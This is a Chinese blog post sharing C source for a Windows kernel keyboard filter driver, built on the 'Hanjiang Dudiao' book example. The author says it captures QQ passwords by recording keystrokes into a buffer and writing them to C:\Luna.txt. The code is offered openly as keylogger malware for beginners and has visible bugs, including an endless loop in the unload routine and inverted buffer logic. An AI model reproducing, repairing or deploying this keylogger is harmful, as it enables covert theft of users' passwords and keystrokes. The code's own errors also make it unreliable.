zoukankan      html  css  js  c++  java
  • Windows驱动过滤--kdbclass过滤,寒江独钓加强版

    寒江独钓键盘过滤,修改了下,过滤QQ密码写入buff,有 回车 或者buff满写入文件,因为irp完成,irp对应的内存快回收,所以用全局缓冲区。开启一个线程写入,开始打算用队例一个一个处理irp的,但是发现那样比较缓慢,只好这样了。。创建进程回调代码加几行就行,这里没写,因为代码丢失了,算是个大概的代码吧。给初学的分享下。有错指出,谢谢。

    前辈们不要见笑了。

    struct.h

    /************************************/
    //author:DuanYueming
    //data: 02/05/2015
    //File: Lstruct.h 
    /************************************/
    #ifndef _LSTRUCT_H_
    #define _LSTRUCT_H_
    
    typedef struct _DEVICE_EXTENSION 
    {
    	PDEVICE_OBJECT pDeviceObj;
    	PDEVICE_OBJECT pAttachDev; //上层设备
    	PDEVICE_OBJECT pLowDevice; //底层设备
    	PDEVICE_OBJECT pStorageDev; //存储的设备
    	PDEVICE_OBJECT pTarDevice; //目标设备
    	UNICODE_STRING MyDeviceName;
    	UNICODE_STRING MyDeviceSym;
    	ULONG pMyDevFlg;
    	IO_REMOVE_LOCK MoveLock;
    }DEVICE_EXTENSION,*PDEVICE_EXTENSION;
    
    typedef struct _MultVar
    {
      PVOID pBuff;
      KEVENT WaitEvent;
      ULONG  Length;
    }MULTVAR,*PMULTVAR;
    
    #define  BUFF_SIZE 256
    
    typedef struct _MY_BUFF
    {
    	PUCHAR pBuf;
    	int MaxSize;
    	int CurSize;
    	int Offset;
    
    }MYBUFF,*PMYBUFF;
    
    
    
    
    typedef struct  _MY_DATA
    {   
    	PIRP Irp;
    	PVOID pBuff;
    	LIST_ENTRY ListEntry;
    }MY_DATA,*PMYDATA;
    

      

    #define  MyDeviceFlags 'LUNA'
    #define  MyCdoDeviceFlags 'LCdo'
    #define  RemoveTag  'Lmn'
    #define DELAY_ONE_MICROSECOND   (-10)
    #define DELAY_ONE_MILLISECOND   (DELAY_ONE_MICROSECOND*1000)
    #define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)
    
    #define IS_MY_DEVICE_OBJECT(_obj)  
    	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags || PDEVICE_EXTENSION(_obj->DeviceExtension)->pMyDevFlg == MyDeviceFlags)
    
    #define IS_MY_CONTROL_DEVICE(_obj)  
    	(((PDEVICE_EXTENSION)_obj->DeviceExtension)->pMyDevFlg == MyCdoDeviceFlags)
    

      

    /********未归档函数************/
    NTSTATUS
    	ObReferenceObjectByName(
    	PUNICODE_STRING ObjectName,
    	ULONG Attributes,
    	PACCESS_STATE AccessState,
    	ACCESS_MASK DesiredAccess,
    	POBJECT_TYPE ObjectType,
    	KPROCESSOR_MODE AccessMode,
    	PVOID ParseContext,
    	PVOID *Object
    	);
    
    extern POBJECT_TYPE *IoDriverObjectType;
    

      

    NTSTATUS LQueryObjectName(PVOID Lobject,PUNICODE_STRING name)//查询文件名
    {
    	NTSTATUS status;
    	POBJECT_NAME_INFORMATION pBuff;
    	WCHAR cache[64];
    	ULONG NeedLength;
    	pBuff = (POBJECT_NAME_INFORMATION)cache;
    	status = ObQueryNameString(Lobject,pBuff,64*sizeof(WCHAR),&NeedLength);
    	if (status == STATUS_INFO_LENGTH_MISMATCH)
    	{
    		pBuff =(POBJECT_NAME_INFORMATION) ExAllocatePool(NonPagedPool,NeedLength);
    		if (pBuff == NULL)
    		{
    			return STATUS_INSUFFICIENT_RESOURCES;
    		}
    		RtlZeroMemory(pBuff,NeedLength);
    		status = ObQueryNameString(Lobject,pBuff,NeedLength,&NeedLength);
    	}
    	name->Length = 0;
    	RtlCopyUnicodeString(name,&pBuff->Name);
    	return status;
    }
    
    VOID LUnInstallDriver(PDRIVER_OBJECT pDriverObject)
    {  
    	PDEVICE_EXTENSION pDevExt;
    	PRKTHREAD CurrentThread;
    	LARGE_INTEGER time;
    	PDEVICE_OBJECT  pDevObj;
    	time = RtlConvertLongToLargeInteger(100*DELAY_ONE_SECOND);
    	pDevObj = pDriverObject->DeviceObject;
    	CurrentThread = KeGetCurrentThread();
    	KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
    
    	while (pDevObj)
    	{
    		pDevExt =(PDEVICE_EXTENSION) pDevObj->DeviceExtension;
    		IoDeleteSymbolicLink(&pDevExt->MyDeviceSym);
    		pDevObj = pDevObj->NextDevice;
    		IoDetachDevice(pDevExt->pLowDevice);
    		IoDeleteDevice(pDevExt->pDeviceObj);
    	}
    	while (1)
    	{
    
    	}
    
    
    
    	KdPrint(("Driver UnInstall Complete,leave
    "));
    }
    NTSTATUS LDispatchRoutine(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
    {   
    	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
    	IoSkipCurrentIrpStackLocation(pIrp);
    	return  IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pLowDevice,pIrp);
    }
    

      以下是代码:

    #include "QFilter.h"
    
    
    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
    {
    	int i;
    	NTSTATUS status;
    	HANDLE Thread;
    	
    	/********初始化全局变量***********/
    	IsWriteData = FALSE;
    	IsNeedFilter = FALSE;
    	InitializeListHead(&g_list);
    	
    	g_buff =(PMYBUFF) ExAllocatePool(NonPagedPool,sizeof(MYBUFF));
    	if (g_buff ==NULL)
    	{
    		KdPrint(("no through memory 
    "));
    		return 0;
    	}
    	else
    	{
    		g_buff->pBuf =(PUCHAR)ExAllocatePool(NonPagedPool,BUFF_SIZE);
    		ASSERT(g_buff->pBuf);
    		g_buff->MaxSize = BUFF_SIZE;
    		g_buff->Offset = 0;
    		g_buff->CurSize = 0;
    	}
    
    	/********初始化全局变量***********/
    	pDriverObject->DriverUnload = LUnInstallDriver;
    	for (i = 0;i <IRP_MJ_MAXIMUM_FUNCTION;i++)
    	{
    		pDriverObject->MajorFunction[i] = LDispatchRoutine;
    	}
    
    	pDriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine;
    	pDriverObject->MajorFunction[IRP_MJ_POWER] = PowerRoutine;
    	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ContrlRoutine;
    	//pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseIrp;
    
    
    	status = CreateMyCDODevice(pDriverObject);
    	if (!NT_SUCCESS(status))
    	{
    		return status;
    	}
    	status = BindKbdDriver(pDriverObject);
    	if (!NT_SUCCESS(status))
    	{
    		return status;
    	}
    	status = PsCreateSystemThread(&Thread,GENERIC_ALL,NULL,NULL,NULL,ProcessIrp,NULL);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create Thread Failed 
    "));
    		return status;
    	}
    	KdPrint(("Start Kbd Filter SuccessFuly 
    "));
    	return STATUS_SUCCESS;
    }
    VOID ProcessIrp(PVOID pContext)
    {   
    //	PMYDATA data;
    	PVOID buff = NULL;
        for (;;)
        {
        //    PLIST_ENTRY HeadData = RemoveHeadList(&g_list);	
    	//	data = CONTAINING_RECORD(HeadData,MY_DATA,ListEntry);
    		if (IsWriteData == TRUE&& g_buff->pBuf != NULL)
    		{  
    			KdPrint(("hehehehe
    "));
    			KdPrint(("111
    "));
    			KdPrint(("2222
    "));
    			MyWriteDataFile();
    			RtlZeroMemory(g_buff->pBuf,g_buff->MaxSize);
    			g_buff->CurSize = 0;
    			g_buff->Offset = 0;
    		}
        }
    }
    
    
    NTSTATUS PowerRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
       PoStartNextPowerIrp(pIrp);
       IoSkipCurrentIrpStackLocation(pIrp);
       return PoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    }
    NTSTATUS CreateMyCDODevice(PDRIVER_OBJECT pDriverObj)
    {
    	NTSTATUS status;
    	UNICODE_STRING DevSym;
    	UNICODE_STRING DevName;
    	PDEVICE_OBJECT pNewDev;
    	PDEVICE_EXTENSION pDevExt;
    	RtlInitUnicodeString(&DevName,L"\Device\QFilter");
    	
    	status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),&DevName,FILE_DEVICE_UNKNOWN,0,TRUE,&pNewDev);
    	if (!NT_SUCCESS(status))
    	{
    	   KdPrint(("Create CDO DevObj Failed 
    "));
    	   return status;
    	}
    	RtlInitUnicodeString(&DevSym,L"\??\QFilterSym");
        status = IoCreateSymbolicLink(&DevSym,&DevName);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create Cdo Symbolic Failed 
    "));
    		IoDeleteDevice(pNewDev);
    		return status;
    	}
    	pNewDev->Flags |=DO_BUFFERED_IO;
    	pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
    	pDevExt->pMyDevFlg = MyCdoDeviceFlags;
    	pDevExt->MyDeviceName = DevName;
    	pDevExt->pDeviceObj = pNewDev;
    	pDevExt->MyDeviceSym = DevSym;
    	
    	return STATUS_SUCCESS;
    }
    
    NTSTATUS BindKbdDriver(PDRIVER_OBJECT pDriverObj)
    {
    	UNICODE_STRING kbdClass;
    	PDEVICE_OBJECT pNewDev;
    	PDEVICE_OBJECT pTarDev;
    	PDEVICE_OBJECT pLowDev;
    	PDEVICE_EXTENSION pDevExt;
    	PDRIVER_OBJECT pKbdDrOb;
    	NTSTATUS status = STATUS_SUCCESS;
    
    	RtlInitUnicodeString(&kbdClass,L"\Driver\kbdclass");
    	status = ObReferenceObjectByName(&kbdClass,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pKbdDrOb);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Load KbdObj Failed :%x
    ",status));
    		return status;
    	}
    
    	ObDereferenceObject(pKbdDrOb);
    	pTarDev = pKbdDrOb->DeviceObject;
    	while (pTarDev)
    	{
    		status = IoCreateDevice(pDriverObj,sizeof(DEVICE_EXTENSION),NULL,pTarDev->DeviceType,pTarDev->Characteristics,FALSE,&pNewDev);
    		if (!NT_SUCCESS(status))
    		{
    			KdPrint(("Create Device Failed:%x
    ",status));
    			return status;
    		}
    		else
    		{
    			status = IoAttachDeviceToDeviceStackSafe(pNewDev,pTarDev,&pLowDev);
    			if (!NT_SUCCESS(status))
    			{    
    				KdPrint(("Bind Failed 
    "));
    				return status;
    			}
    		    pDevExt = (PDEVICE_EXTENSION)pNewDev->DeviceExtension;
    			pNewDev->Flags |= pLowDev->Flags&(DO_BUFFERED_IO | DO_DIRECT_IO |DO_POWER_PAGABLE);
    			pNewDev->Flags &= ~DO_DEVICE_INITIALIZING;
    			pDevExt->pDeviceObj = pNewDev;
    			pDevExt->pMyDevFlg = MyDeviceFlags;
    			pDevExt->pLowDevice = pLowDev;
    			pDevExt->pAttachDev = pTarDev;
    			pNewDev->StackSize = pDevExt->pLowDevice->StackSize+1;
    			//IoInitializeRemoveLock(&pDevExt->MoveLock,0,0,0);
    		}
    		pTarDev = pTarDev->NextDevice;
    	}
    	RtlInitUnicodeString(&FileName,L"\DosDevices\C:\Luna.txt");
    	KdPrint(("Complete Device Bind 
    "));
    	return STATUS_SUCCESS;
    }
    
    VOID MyWriteDataFile()
    {   
    	HANDLE handl;
    	OBJECT_ATTRIBUTES objAttr;
    	IO_STATUS_BLOCK block;
    	NTSTATUS status;
        InitializeObjectAttributes(&objAttr,&FileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    	status = ZwCreateFile(&handl,GENERIC_WRITE,&objAttr,&block,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
    	if (!NT_SUCCESS(status))
    	{
    		KdPrint(("Create File Storage data Failed:%x",status));
    		return;
    	}
    		status = ZwWriteFile(handl,NULL,NULL,NULL,&block,g_buff->pBuf,g_buff->CurSize,0,NULL);
    		if (!NT_SUCCESS(status))
    		{
    			KdPrint(("WriteFile Failed:%X 
    ",status));
    			ZwClose(handl);
    			return;
    		}
    		KdPrint((" code:%C 
    ",g_buff->pBuf));
     	ZwClose(handl);
    }
    
    NTSTATUS ReadCompleteFun(PDEVICE_OBJECT pDeviceObj,PIRP pIrp,PVOID pContext)
    {   
    	ULONG KeyStructNum;
    	PKEYBOARD_INPUT_DATA ptr;
    	ULONG i;
    	UCHAR ASCIICODE;
    	if(/*IsNeedFilter &&*/NT_SUCCESS(pIrp->IoStatus.Status)  )
    	{
    	   KeyStructNum = pIrp->IoStatus.Information/(pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA));
    	   ptr =(PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer;
    	   for (i =0 ;i <KeyStructNum;++i)
    	   {   
    		      ASCIICODE = print_keystroke(ptr[i].MakeCode);
    		   if(g_buff->Offset >= (BUFF_SIZE-(5*UCHARSIZE)) || ASCIICODE == '0x0D')
    		   {    			  
    			   KdPrint(("steup write data!!!!!!!!!!!!!!!!!!!
    "));
    			   IsWriteData =TRUE;
    			   RtlCopyMemory(((g_buff->pBuf)+(g_buff->Offset)),&ASCIICODE,UCHARSIZE);
    			   g_buff->Offset += UCHARSIZE;
    			   g_buff->CurSize +=UCHARSIZE;
    		   }
    		   else
    		   { 
    			   IsWriteData =FALSE;
    			   KdPrint(("------buff small---Start Write Data to File-- 
    "));
    		   }
    	   }
    	}
       
       if (pIrp->PendingReturned)
       {
    	   IoMarkIrpPending(pIrp);
       }
    	return pIrp->IoStatus.Status;
    }
    
    NTSTATUS ReadRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
       PIO_STACK_LOCATION stack;
       NTSTATUS status = STATUS_SUCCESS;
       if (pIrp->CurrentLocation ==1)
       {
    	   pIrp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
    	   pIrp->IoStatus.Information = 0;
    	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    	   return STATUS_INVALID_DEVICE_REQUEST;
       }
       if (IS_MY_CONTROL_DEVICE(pDeviceObj))
       {
    	   pIrp->IoStatus.Status = STATUS_SUCCESS;
    	   pIrp->IoStatus.Information = 0;
    	   IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    	   return STATUS_SUCCESS;
       }
     
       stack = IoGetCurrentIrpStackLocation(pIrp);
       IoCopyCurrentIrpStackLocationToNext(pIrp);
       IoSetCompletionRoutine(pIrp,ReadCompleteFun,NULL,TRUE,TRUE,TRUE);
      return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    
    }
    
    NTSTATUS ContrlRoutine(PDEVICE_OBJECT pDeviceObj,PIRP pIrp)
    {
    	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(pIrp);
    
    	if (IS_MY_CONTROL_DEVICE(pDeviceObj))
    	{
    		switch(stack->Parameters.DeviceIoControl.IoControlCode)
    		{
    			
    
    		}
    	}
    
    
    
    	switch(stack->Parameters.DeviceIoControl.IoControlCode)
    	{
    	default:
    		  IoSkipCurrentIrpStackLocation(pIrp);
    		  return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pLowDevice,pIrp);
    	}
    
    }
    

      

  • 相关阅读:
    Windows JScript 在 游览器 中运行 调试 Shell 文件系统
    autohotkey 符号链接 软连接 symbolink
    软链接 硬链接 测试
    SolidWorks 修改 基准面 标准坐标系
    手机 路径 WebDAV 映射 驱动器
    Win10上手机路径
    explorer 命令行
    单位公司 网络 封锁 屏蔽 深信 AC
    cobbler自动化部署原理篇
    Docker四种网络模式
  • 原文地址:https://www.cnblogs.com/dragonmoon/p/4311895.html
Copyright © 2011-2022 走看看